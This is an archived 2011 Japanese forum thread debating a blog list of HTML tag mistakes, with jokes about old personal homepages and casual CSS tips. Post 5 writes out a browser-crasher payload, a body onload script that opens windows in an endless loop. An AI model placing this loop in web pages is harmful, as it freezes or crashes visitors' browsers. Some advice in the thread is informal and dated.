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<marquee><blink>犯してはいけないHTMLタグの過ち10個</blink></marquee>






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スマートフォンのためのHTML5アプリケーション開発ガイド―iPhone/iPad/Android対応スマートフォンのためのHTML5アプリケーション開発ガイド―iPhone/iPad/Android対応
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1 名前: ◆BB2C/xRDfM (東京都) Mail: 投稿日: 2011/04/19(火) 12:45:17.40 ID: LqzN9BDP0● ?2BP(47)

犯してはいけないHTMLタグの過ち10個

ちょっと前の記事ですが10 HTML Tag Crimes You Really Shouldn’t Commitという記事を見かけておもしろそうだったので紹介します。日本語にすると、犯してはいけないHTMLタグの過ち10個というところでしょうか。
知っている内容も多いかと思いますが、再確認の意味を込めて見ていただければと思います。

1. インライン要素の中にブロック要素を入れない
2. 画像に代替テキストのalt属性が入っていない
3. 必要な場面でリストを使っていない

4. <strong>や<em>ではなく<b>や<i>を使っている
<b>これ</b>も<strong>これ</strong>も太字になります。

5. 改行を連続して使っている
日記的なブログでなんかよく改行の連打を見かけますが、基本brタグは2つ以上連続して使用してはいけません。
<p>brタグは改行を表します。</p>
<p>連続して使わずpタグとcssで調整しましょう。</p>
このようにpタグでくくり、cssのpadding、marginやline-heightで調整しましょう。

6. 削除された部分に<s>や<strike>を使っている

7. 要素に対して直接スタイルを指定している
<p style="color: red;">文字が赤くなります</p>
8. 画像にborder属性を指定している
9. 見出しの<h>タグを使っていない
10. <blink>や<marquee>などを使っている

(全文はソース)
http://weboook.blog22.fc2.com/blog-entry-254.html


2 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 12:48:12.69 ID: ZzL62aYz0
<b>太字</b>とか使っちゃいけないの?

<br>
<br>
も普通だと思っていた。


3 名前: 名無しさん@涙目です。(関東・甲信越) Mail: 投稿日: 2011/04/19(火) 12:48:35.63 ID: FNq9qyO4O
<!DOCTYPE HTML PUBLIC "-//W3C//TDN HTN 1.01 Transitional//EN">


4 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 12:48:43.85 ID: XWeTbMzj0
          ゆうすけのホームページ
   Sorry!This Homepage is Japanese only!!

   1999/03/02から[000000135]人のお客様が訪れました(^^)
キリ番を踏んだ人は必ず掲示板に報告してください!踏み逃げ厳禁!!!

  現在の時刻は 午後3時23分です。おやつを食べたくなる時間ですね。

  MENU     せつめい

 プロフィール   管理人ゆうすけの生態はここから!!
イラストコーナー  ゆうすけの描いたイラストを展示(工事中)
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  チャット     次回のチャット回予定・・・2月14日
リンクの冒険    リンク集です(爆)お友達のページへGO!


5 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 12:49:38.22 ID: 1vrFGYiL0
<BODY Onload="var i=0;while(1){open('./',i++);}">





6 名前: 名無しさん@涙目です。(京都府) Mail: 投稿日: 2011/04/19(火) 12:49:45.40 ID: 5fyZwvTC0
<br />
<br />
が駄目なのは知っているがlivedoorブログを携帯で見るとcssが反映されないから仕方なく使っている


7 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 12:51:14.77 ID: JTCzhcw60
メンテナンス性を高める10個って感じだな
言い出すとキリがない


8 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/19(火) 12:51:34.91 ID: ZHWcCJAPP
俺が担当を外れた途端めちゃくちゃになってるうちの会社のホームページ見るのが楽しくて仕方がない


9 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 12:51:57.11 ID: DWgjs2jn0
>>1
7.と8.は何がいかんのだ


10 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 12:52:26.78 ID: wBxlkz+W0
あんまり原理主義みたいなことやっても物事つまらなくなるだけ。
基本こういうのはWEB屋が自分たちの価値を上げたいがためのポジトーク。
中身が面白くて、ブラクラみたいな迷惑行為でなければ、あとはなんだっていい。


11 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 12:52:40.54 ID: ERNcLwNU0
>>4
>1999/03/02から[000000135]人のお客様が訪れました(^^)

検索エンジン弾いてるにしても淋しい数字だw


12 名前: 忍法帖【Lv=23,xxxPT】 (catv?) Mail: sage 投稿日: 2011/04/19(火) 12:52:42.83 ID: QyGN79TJ0
正直、最低限見れればどうでも良い(笑)


13 名前: 名無しさん@涙目です。(岩手県) Mail: sage 投稿日: 2011/04/19(火) 12:52:51.86 ID: 4RrWBgGx0
>>4
何回見ても動悸がする


14 名前: 名無しさん@涙目です。(北海道) Mail: 投稿日: 2011/04/19(火) 12:53:28.38 ID: pmiRZD1h0
結果よければ全てよし


15 名前: 名無しさん@涙目です。(dion軍) Mail: sage 投稿日: 2011/04/19(火) 12:54:37.99 ID: EqXKLh1F0
ブラウザに意図通りに表示されてればぶっちゃけソースなんかどうでもいいんだよ

以下、スクリプトのひとつすら碌に組めない自称クリエイターがWeb標準がウンタラと講釈をたれるスレになりますw


16 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 12:55:08.37 ID: 2ghMRWbr0
知り合いのHPが2年ぐらい前にみたら
HAPPYNEWYEAR2001だった。URL忘れたから今どうなってるか知らんけど。


17 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 12:55:26.21 ID: hyXlA3bp0
<p>タグ使いにくいんだよね
ちゃんとした文章をちゃんと載せるならともかく
ちょこっと駄文をちょろっと更新するのにすげー不自由


18 名前: 名無しさん@涙目です。(西日本) Mail: 投稿日: 2011/04/19(火) 12:57:16.31 ID: Rtk3fuls0
5. 改行を連続して使っている
日記的なブログでなんかよく改行の連打を見かけますが、基本brタグは2つ以上連続して使用してはいけません。
<p>brタグは改行を表します。</p>
<p>連続して使わずpタグとcssで調整しましょう。</p>
このようにpタグでくくり、cssのpadding、marginやline-heightで調整しましょう。


ブログでタグ打ちできるの?


19 名前: 名無しさん@涙目です。(宮崎県) Mail: sage 投稿日: 2011/04/19(火) 12:57:25.65 ID: dGwDaiCp0
ソースまで見ないし、表示されれば何でもいい

昔はブラウザが落ちる凶悪ソースもあったが、最近は大丈夫だろ


20 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 12:58:32.29 ID: DWgjs2jn0
>>17
使いにくいな。半行空き・1行空き・2行空きのコマンドが欲しい。


21 名前: 名無しさん@涙目です。(アラビア) Mail: 投稿日: 2011/04/19(火) 12:58:55.60 ID: IjcdA2MD0
昔は「テキストブラウザで見れない」「JavaをOFFに対応しろ」「Flashはもってのほか」「GIFではなくPNG」という
問い合わせが、店舗の問い合わせじゃなくてabuseアドレスに来てた。
HTMLの基準に準拠してるかを点数化した結果のリンクも来た。

でもそういう連中が購買行動に至ったりすることはごく稀なので、無視して良かった。


22 名前: 名無しさん@涙目です。(長屋) Mail: 投稿日: 2011/04/19(火) 13:00:02.90 ID: 2xGOP1jL0
昔ブログとかやってた頃はhtmlもcssもある程度かけたけどもうほとんど忘れたわ


23 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 13:00:57.54 ID: 2n20Ddmq0
5. 改行を連続して使っている
日記的なブログでなんかよく改行の連打を見かけますが、基本brタグは2つ以上連続して使用してはいけません。

オタクの自己満足を押し付けるなよと


24 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 13:01:17.89 ID: DWgjs2jn0
>>22
FireWorks使えばおけ


25 名前: 名無しさん@涙目です。(長崎県) Mail: 投稿日: 2011/04/19(火) 13:02:21.62 ID: bqS2b/OX0
以前、googleとかyahooのサイトを、htmlのチェックするやつで点数出したらマイナスだったんだが


26 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/19(火) 13:02:36.48 ID: YsZdCn/u0
>>1
<br>で連続改行をする代わりに

<table>で行間調節は良いんだろうか?


27 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 13:03:06.59 ID: sg4buKZ20
htmとhtmlの違いがわからない


28 名前: 名無しさん@涙目です。(長野県) Mail: sage 投稿日: 2011/04/19(火) 13:03:35.70 ID: 4dFZxW+U0
なっつかしいタグだなー


29 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:03:42.60 ID: oS/V8GWN0
CSSとか面倒臭すぎ
<br><br>で良いだろw


30 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 13:03:56.77 ID: 2X5Af9OE0
http://homepage3.nifty.com/abe-hiroshi/

ホームページというのはこうあるべき


31 名前: 忍法帖【Lv=24,xxxPT】 (チベット自治区) Mail: 投稿日: 2011/04/19(火) 13:04:21.39 ID: dSaYYTHS0
<strong>って多用すると良くないんだろ?
あんま意味ないし<b>でいいだろ


32 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 13:04:33.92 ID: O1MhHICj0
リンクの囲い方間違えると一行全部リンク判定になる


33 名前: 名無しさん@涙目です。(鳥取県) Mail: sage 投稿日: 2011/04/19(火) 13:04:50.34 ID: 3k5nY/Ze0
とりあえずIE6は死ね


34 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:05:30.47 ID: 58aGUQBd0
>>30
http://www.t3.rim.or.jp/~tohru/

これはどうだ


35 名前: 忍法帖【Lv=26,xxxPT】 (東日本) Mail: 投稿日: 2011/04/19(火) 13:06:03.03 ID: ooa7sAi30
ヤフオクのHTML仕様とか泣きたい。でもあれはあれでしょうがないのか。


36 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 13:06:12.83 ID: DWgjs2jn0
>>26
<p style="margin-top:10px">
とかの方が短くて楽じゃね?


37 名前: 名無しさん@涙目です。(dion軍) Mail: 投稿日: 2011/04/19(火) 13:06:54.06 ID: uFI1x2aj0
>>34
化石みたいなHPだな


38 名前: 名無しさん@涙目です。(福岡県) Mail: 投稿日: 2011/04/19(火) 13:07:22.10 ID: iRo/7LNz0
どうせ全画面フラッシュの糞サイトばっかりになるからいいんだよ


39 名前: 名無しさん@涙目です。(山形県) Mail: 投稿日: 2011/04/19(火) 13:07:32.79 ID: 89H9TQQA0
フォント弄り・連続改行の文章はcss解除・連続改行無効にして読むわ。


40 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 13:08:13.91 ID: 9ai8binaP
>>38
お隣りの国はひどいよな


41 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/19(火) 13:08:30.33 ID: YsZdCn/u0
>>36
それ良いですねー短くて
これからそれ使わせてもらうよ


42 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 13:08:33.96 ID: uHGNPCfC0
うっせーな。見えりゃいいんだよ見えりゃ


43 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 13:08:49.33 ID: BoznTpn00
>>9
神経質な奴らだから。


44 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 13:09:04.80 ID: Xkrwu7CQ0
>>34
http://www.akitashoten.co.jp/index2.html


45 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 13:10:23.17 ID: DWgjs2jn0
>>43
特に8.のborder属性は0指定しとかないと、で囲ったときに青い囲みがついちゃうし。


46 名前: 名無しさん@涙目です。(北海道) Mail: sage 投稿日: 2011/04/19(火) 13:10:25.46 ID: 4c6zBqkN0
<center>


47 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 13:10:41.49 ID: Vd/nFA7n0
ただのブログがソースwwwwwwwwwwwwwwwwwwwwwwwww


48 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:11:01.98 ID: sWkfzJEO0
神経質すぎる
どのブラウザでも同じように表示できたらいいじゃん、と思うのは素人だから?


49 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 13:11:17.07 ID: UJfe+A4q0
<font face="AR P古印体B">ようこそ</font>

こんな感じでフォント指定したらAR P古印体B持ってるやつあんまいなくて意味なかった


50 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 13:11:39.25 ID: WJy9VLls0
>>1
html5だと<b>とか<i>とかは強調するわけではないけど書体変えたりして区別するのに
使うために残ってるのに。


51 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 13:12:04.51 ID: tQIhwxMe0
div最強伝説
W3C基準?なにそれ?


52 名前: 名無しさん@涙目です。(千葉県) Mail: sage 投稿日: 2011/04/19(火) 13:13:18.88 ID: g+6ZTjJ10
お前らのHPも背景色がnavyで文字色がyellowだったんだろ?


53 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 13:14:00.34 ID: 1I+RVBeT0
brさえ面倒なので
端で改行されるpreとかあればいいのに


54 名前: 名無しさん@涙目です。(宮崎県) Mail: sage 投稿日: 2011/04/19(火) 13:14:02.67 ID: dGwDaiCp0
なおくんのほーむぺーじ

ホームページビルダー全開のホームページ


55 名前: 名無しさん@涙目です。(神奈川県) Mail: sage 投稿日: 2011/04/19(火) 13:14:24.49 ID: QOYHgePk0
キリ番とは何だったんだろうか


56 名前: 名無しさん@涙目です。(群馬県) Mail: 投稿日: 2011/04/19(火) 13:15:58.04 ID: MducfJZA0
wordでhtml編集してる人って素敵!


57 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/19(火) 13:16:02.45 ID: 6mUnYz9+0
どうでもいいからGeckoに統一してくれよ


58 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 13:17:15.00 ID: tQIhwxMe0
CSSのおかげで大分記述がスマートになったよ
角丸作るのに画像細切れにして、テーブルで配置してたからなw


59 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 13:17:38.14 ID: 2X5Af9OE0
XHTML厨の葬式会場はここですかwww


60 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 13:17:42.33 ID: 8Pv++DfPi
>>8
他の人からは担当変わってみやすくなったって、評判ですよ


61 名前: 名無しさん@涙目です。(長屋) Mail: 投稿日: 2011/04/19(火) 13:18:52.01 ID: gfk2GvTN0
10年前くらいにワードでサイト作ってたところを荒らしてすまん
30くらいのカウンターを50000くらいにしたらすげー喜んでたけど


62 名前: 名無しさん@涙目です。(神奈川県) Mail: sage 投稿日: 2011/04/19(火) 13:19:00.23 ID: QOYHgePk0
IE6をこの世から消して欲しい人が集まるスレだな


63 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 13:19:26.41 ID: waDuD8fi0
HTMLはプログラミング入門としてオススメしたい


64 名前: 名無しさん@涙目です。(dion軍) Mail: sage 投稿日: 2011/04/19(火) 13:19:30.83 ID: cF5N9HBI0
>>4
ゲストブックと掲示板の使い分けがわからなかったけど
これみて初めてわかった


65 名前: 名無しさん@涙目です。(北海道) Mail: sage 投稿日: 2011/04/19(火) 13:19:50.92 ID: mWVg9lpJ0
< `∀´>日本


66 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 13:20:49.23 ID: 2X5Af9OE0
>>62
IE6なんでまだかわいいよ
Firefoxはあいつスタイルシートに1行でも文法ミスがあると
たまにシート全体を無視しやがるからうざい


67 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:20:51.28 ID: 4Tg7CAOFP
無能なホームページ制作会社
使いまくってタグも閉じ忘れて
正常に描写可能なのがIE6だけとかまだ余裕である。

逆にフリーランスで無駄にこだわりの強い頭でっかちは、strictで
文法いっさい間違わないように作るけど、システム組み込み者が時間の関係で
どうしても崩れるって説明しても口出ししてくるからそういうやつとは二度と
仕事しない。


68 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 13:21:27.02 ID: N3S5B2uH0
全部でかい画像のネットショップ集合体とか最悪


69 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 13:21:49.79 ID: PKcCT6WR0
見えりゃそれでいいんだよ


70 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 13:22:25.42 ID: waDuD8fi0
>>67
それどっちも無能じゃね?


71 名前: 名無しさん@涙目です。(北海道) Mail: 投稿日: 2011/04/19(火) 13:22:45.19 ID: db3JP84q0
タグ、CSSはある程度分かるんだけど
DOCTYPEとか根本的なルールがさっぱり。

最近、サイトをHTML4.01からUTF-8?でXHTML 1.0にした。
そこまで機能したサイト作る予定ないなら結局は好みなのかな。


72 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 13:24:51.35 ID: 2X5Af9OE0
>>71
実装後で悪いがXHTMLはもう先がない、あと数年で廃れる
一応それなりなHTML5のほうを勉強しとけ、文字コードはそれでいい


73 名前: 名無しさん@涙目です。(広島県) Mail: sage 投稿日: 2011/04/19(火) 13:26:11.87 ID: DWgjs2jn0
>>41
<style type="text/css">#nikkibox p { margin: 0em; margin-bottom: 1em; }</style>
<div id="nikkibox">
<p>あ</p>
<p style="margin-bottom:2em;">あ</p>
<p>あ</p>
</div>
みたいな。


74 名前: 名無しさん@涙目です。(内モンゴル自治区) Mail: 投稿日: 2011/04/19(火) 13:26:54.97 ID: Vr78u4YJ0
<font size="72">できてる?</font>


75 名前: 名無しさん@涙目です。(大阪府) Mail: sage 投稿日: 2011/04/19(火) 13:28:35.37 ID: P9edEWT60
ソースをみるときにぐちゃぐちゃになるからってことか?
<br>も<b>もつかいまくりなんだが


76 名前: 名無しさん@涙目です。(静岡県) Mail: 投稿日: 2011/04/19(火) 13:28:51.27 ID: AWvrn2aL0
ttp://www.mod.go.jp/gsdf/neae/neaavn/


77 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 13:29:27.49 ID: Gn1w6K9/0
テーブルはもう少し分かりやすくしやがれってんだよ
まんこくせーだろ


78 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:29:30.58 ID: 4Tg7CAOFP
>>70
strictは文法に厳密すぎてシステム行程でプロジェクトを著しく
遅らせる原因になるから大規模だとほとんど使われないぞ。
SEやPGはHTMLのこまかなこだわりまではめんどうみきれないんだよ


79 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/19(火) 13:31:03.06 ID: mNdHgnS+0
うぜえええええ

読めればなんでもいいんだよ

Strict厨は死ね}


80 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 13:31:12.93 ID: Xx5uO35a0
>>34
これ今も更新されてんのかよ


81 名前: 名無しさん@涙目です。(内モンゴル自治区) Mail: sage 投稿日: 2011/04/19(火) 13:31:28.88 ID: Hr7JXhN6O
ソースからコメント記載のURLを探す作業をしなくなって何年経つのだろう……


82 名前: 名無しさん@涙目です。(神奈川県) Mail: sage 投稿日: 2011/04/19(火) 13:31:48.75 ID: F6+Pw5xO0
他人のソースを見ると目眩がする


83 名前: 名無しさん@涙目です。(京都府) Mail: sage 投稿日: 2011/04/19(火) 13:32:11.98 ID: X+UspSDO0
<meta NAME="GENERATOR" CONTENT="IBM WebSphere Studio Homepage Builder Version 8.0 for Windows">


84 名前: 名無しさん@涙目です。(USA) Mail: 投稿日: 2011/04/19(火) 13:33:09.88 ID: d3+YiQzl0

<div style="-moz-transform: skewx(10deg) translatex(150px);
-moz-transform-origin: bottom left;font-size:30px">
skewed
</div>
<div style="-moz-transform: rotate(90deg); -moz-transform-origin: bottom left;font-size:30px">
rotate90


85 名前: 名無しさん@涙目です。(catv?) Mail: 投稿日: 2011/04/19(火) 13:33:36.84 ID: J4C7KB890
途中で色々ルールが変わったし、こいつの自己ルールの押しつけもあってうざいな


86 名前: 名無しさん@涙目です。(長崎県) Mail: 投稿日: 2011/04/19(火) 13:34:46.91 ID: xB1xHRtW0
CSSは面倒なことが多いからな
テーブルレイアウトが最強だわ


87 名前: 名無しさん@涙目です。(四国地方) Mail: sage 投稿日: 2011/04/19(火) 13:35:22.95 ID: KREumt+G0
取り敢えずショッピングサイトは無駄な画像から無くせ


88 名前: 名無しさん@涙目です。(北海道) Mail: sage 投稿日: 2011/04/19(火) 13:35:25.38 ID: 8zosIMow0
<em>なんて初めて聞いたわ
誰が使ってんだ


89 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 13:35:34.51 ID: BpQu/vwY0
>>71
それよりjQuery勉強したほうがいいんじゃね


90 名前: 名無しさん@涙目です。(長屋) Mail: sage 投稿日: 2011/04/19(火) 13:36:25.24 ID: Zq6+AnGF0
「論理と見栄えは別に記述出来る」という幻想。


91 名前: 名無しさん@涙目です。(埼玉県) Mail: 投稿日: 2011/04/19(火) 13:36:27.60 ID: WdFebScj0
ソースをマネされたくないからって
1行でソース書いてる奴たまにいたよね。


92 名前: 名無しさん@涙目です。(広西チワン族自治区) Mail: sage 投稿日: 2011/04/19(火) 13:36:37.58 ID: vGYtYUEaP
aタグにインラインしか入れれないのは不便
HTML5で変わるんだっけか


93 名前: 名無しさん@涙目です。(石川県) Mail: 投稿日: 2011/04/19(火) 13:36:44.22 ID: kPPWju6+P
工事中の思い出


94 名前: 名無しさん@涙目です。(USA) Mail: 投稿日: 2011/04/19(火) 13:36:49.33 ID: 4ED47tqN0
>>75
<b>とか<i>が駄目なのは
HTMLはボールドとかイタリックとかのスタイルを構造化するものじゃなくて
強調などといった意味を構造化するものだから

つまり<strong>タグを強調の意味でブラウザが太字にするのはいいけれど
ボールドというスタイル指定をHTMLがやるのはよくない
スタイル指定するならCSS使えということだね


95 名前: 名無しさん@涙目です。(関東・甲信越) Mail: sage 投稿日: 2011/04/19(火) 13:36:57.60 ID: IaXnGLlNO
br連打とテーブルタグで装飾するのはやめて欲しいな


96 名前: 名無しさん@涙目です。(西日本) Mail: 投稿日: 2011/04/19(火) 13:36:58.69 ID: UD5Tp+Yr0
<b> </b>


97 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 13:38:26.41 ID: PF6DBz2P0
>>34
<META name="GENERATOR" content="
IBM WebSphere Studio Homepage Builder Version 13.0.4.0 for Windows">

ホームページビルダーワラタww


98 名前: 名無しさん@涙目です。(北海道) Mail: 投稿日: 2011/04/19(火) 13:38:44.06 ID: zhjCV3sY0
こういう議論を末端ユーザまで持ち込むのはエゴでしかない


99 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/19(火) 13:39:15.39 ID: bs0s3S9O0
犯してはいけない(戒め)


100 名前: 名無しさん@涙目です。(埼玉県) Mail: 投稿日: 2011/04/19(火) 13:39:43.06 ID: WdFebScj0
画像を使用せずに
テーブルの角を丸くするワザとか
あったっけな。


101 名前: 名無しさん@涙目です。(北海道) Mail: 投稿日: 2011/04/19(火) 13:40:28.51 ID: db3JP84q0
>>72
ありがとう。
独学で昔から適当にやって来てたから最近のはさっぱりだった。

HTML⇒XHTML⇒HTMLにまた直す作業が始まるのか…

>>89
知り合いにもjQuery覚えれば動的なサイト作れるから勉強してみたら?って言われた。
面白そうだし少し勉強して見るよ。ありがとう。


102 名前: 名無しさん@涙目です。(長崎県) Mail: 投稿日: 2011/04/19(火) 13:41:05.98 ID: xB1xHRtW0
糞サイト例
・外部リンクに_blankを指定してる


103 名前: 名無しさん@涙目です。(関西地方) Mail: 投稿日: 2011/04/19(火) 13:41:30.46 ID: NVgR1QUc0
ようこそ!私のホームページへ!!


104 名前: 名無しさん@涙目です。(栃木県) Mail: sage 投稿日: 2011/04/19(火) 13:42:12.58 ID: jGuNk65r0
XHTML5ってあるよ
HTML5をXHTMLのように書くだけでOK


105 名前: 名無しさん@涙目です。(dion軍) Mail: sage 投稿日: 2011/04/19(火) 13:42:22.72 ID: zKkUeQFq0
ヘッダーんとこ固定してメニュー常に表示させときたいんだが
フレームとかもうだめなんだろ?やっぱCSSでやらなあかんの?


106 名前: 名無しさん@涙目です。(東日本) Mail: 投稿日: 2011/04/19(火) 13:42:40.33 ID: uGLKegYY0
pタグは勝手に改行したりするからいらん。
hタグは日本語には合わない。


107 名前: 名無しさん@涙目です。(兵庫県) Mail: sage 投稿日: 2011/04/19(火) 13:43:13.43 ID: Cv8zWzgW0
HPビルダーでいいやんけ


108 名前: 名無しさん@涙目です。(石川県) Mail: 投稿日: 2011/04/19(火) 13:43:37.41 ID: kPPWju6+P
正規表現使って置換できるフリーのテキストエディタでおすすめ教えろ
いや、教えてください


109 名前: 名無しさん@涙目です。(宮崎県) Mail: 投稿日: 2011/04/19(火) 13:44:01.28 ID: L+1cyALc0
>>34
掲示板で律儀にコメント返してるとかw


110 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 13:45:10.24 ID: cmOMczvC0
仕事なら別として、趣味なら好きに使っていいと思うよ


111 名前: 名無しさん@涙目です。(関東・甲信越) Mail: 投稿日: 2011/04/19(火) 13:45:36.24 ID: AqhINHKVO
>>105
position:fixed


112 名前: 名無しさん@涙目です。(チベット自治区) Mail: 投稿日: 2011/04/19(火) 13:45:57.20 ID: QZ3kWr1X0
ホーム<br><br>
コンテンツ(工事中)<br><br>
プロフィール<br><br>
掲示板<br><br>
リンク集<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
隠しページ


113 名前: 名無しさん@涙目です。(関東) Mail: 投稿日: 2011/04/19(火) 13:46:28.25 ID: VoiUmN65O
>>108
さくら
vim


114 名前: 名無しさん@涙目です。(チベット自治区) Mail: sage 投稿日: 2011/04/19(火) 13:46:54.58 ID: Zj27uane0
7. 要素に対して直接スタイルを指定している
<p style="color: red;">文字が赤くなります</p>

style全否定とは馬鹿かこの記事
それとも文字の色指定は

115 名前: 名無しさん@涙目です。(神奈川県) Mail: 投稿日: 2011/04/19(火) 13:46:56.99 ID: DNfusDrd0
>>105
cssでサルでもソッコー簡単にできるからそれでいいだろ


116 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 13:46:59.42 ID: nC+3mrQGP
デザインセンスのないやつが作ったウェブサイトは非常に小汚い
HTMLを厳格に知る必要はないとおもうけど、>>106みたいなアホな書き込みするほどはどうかと思う


117 名前: 名無しさん@涙目です。 Mail: 投稿日: 2011/04/19(火) 13:47:23.58 ID: bIp5/qqo0
>>9
見た目と構造が一緒に記述されているからダメ

>>10
JISも改訂されたし、ウェブ屋はある程度原理主義的にならないといかんの
JISに準拠してると言えるのはやっぱりでかいよ
もちろん個人的なサイトだったら何でもいい


118 名前: 名無しさん@涙目です。(富山県) Mail: 投稿日: 2011/04/19(火) 13:47:25.90 ID: JRKB3D2H0
犯してはいけない(戒め)


119 名前: 名無しさん@涙目です。(新潟県) Mail: 投稿日: 2011/04/19(火) 13:47:36.07 ID: 2X5Af9OE0
ぐぐってすぐ出てくる記事だけど読んでおいたほうがいいよ
http://www.lepracaun.info/blog/2009/07/html5.html


120 名前: 名無しさん@涙目です。(愛知県) Mail: sage 投稿日: 2011/04/19(火) 13:48:02.19 ID: nC+3mrQGP
>>114
外部cssファイルに記述しろってことだろ


121 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 13:48:04.83 ID: 2imISm530
<centre>


122 名前: 名無しさん@涙目です。(catv?) Mail: sage 投稿日: 2011/04/19(火) 13:48:22.38 ID: cmOMczvC0
>>108
Mery
NoEditor
正規表現はどのアプリも微妙に癖がある気がする


123 名前: 名無しさん@涙目です。(東京都) Mail: sage 投稿日: 2011/04/19(火) 13:49:18.13 ID: leMrcGiwP
純粋に太字にしたいっていう意図があるときも<b>は駄目なの?


124 名前: 名無しさん@涙目です。(神奈川県) Mail: sage 投稿日: 2011/04/19(火) 13:51:28.52 ID: F6+Pw5xO0
public_html/himitu.html


125 名前: 名無しさん@涙目です。(岡山県) Mail: sage 投稿日: 2011/04/19(火) 13:51:33.33 ID: PEL8HDWUP
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>うんこ</title>
</head>
<body>
<p><button type="button" onclick="alert('うんこ')">うんこ</button></p>
</body>
</html>


126 名前: 名無しさん@涙目です。(東京都) Mail: 投稿日: 2011/04/19(火) 13:51:49.11 ID: 4Tg7CAOFP
>>108
マジレスすると仕事で使うなら、
windows:さくら
mac:codEditor

シェアなら秀丸の正規表現検索の使い勝手におしっこ漏れる


127 名前: 名無しさん@涙目です。(長崎県) Mail: 投稿日: 2011/04/19(火) 13:51:52.48 ID: xB1xHRtW0
経済産業省のホームページ
tagunoayamati1430
tagunoayamati1431
tagunoayamati1432
tagunoayamati1434
http://f.hatena.ne.jp/images/fotolife/b/bukuburi/20101215/20101215194201.jpg
http://livedoor.2.blogimg.jp/amplit/imgs/3/2/3220d9a8-s.png
http://www.2ch-vivi.mydns.jp/assets_c/2010/12/11277552-thumb-650x507-4600.png
http://livedoor.2.blogimg.jp/goldennews/imgs/8/6/8620d8d6-s.png


128 名前: 名無しさん@涙目です。(関東・甲信越) Mail: 投稿日: 2011/04/19(火) 13:52:36.56 ID: AqhINHKVO
>>123
あり

元ソースに書いてあるとおり、
HTML5から<b>は「純粋に太字にする」意味になった


129 名前: 名無しさん@涙目です。 Mail: 投稿日: 2011/04/19(火) 13:53:15.55 ID: bIp5/qqo0
>>123
うんだめ。CSSのfont-weightで設定するべき
でも個人的なサイトでは何でもいいよ


130 名前: 名無しさん@涙目です。(北海道) Mail: sage 投稿日: 2011/04/19(火) 13:53:16.38 ID: 8zosIMow0
>>127
一行いくらだな


131 名前: 名無しさん@涙目です。(鹿児島県) Mail: 投稿日: 2011/04/19(火) 13:53:29.51 ID: YvKaza6h0
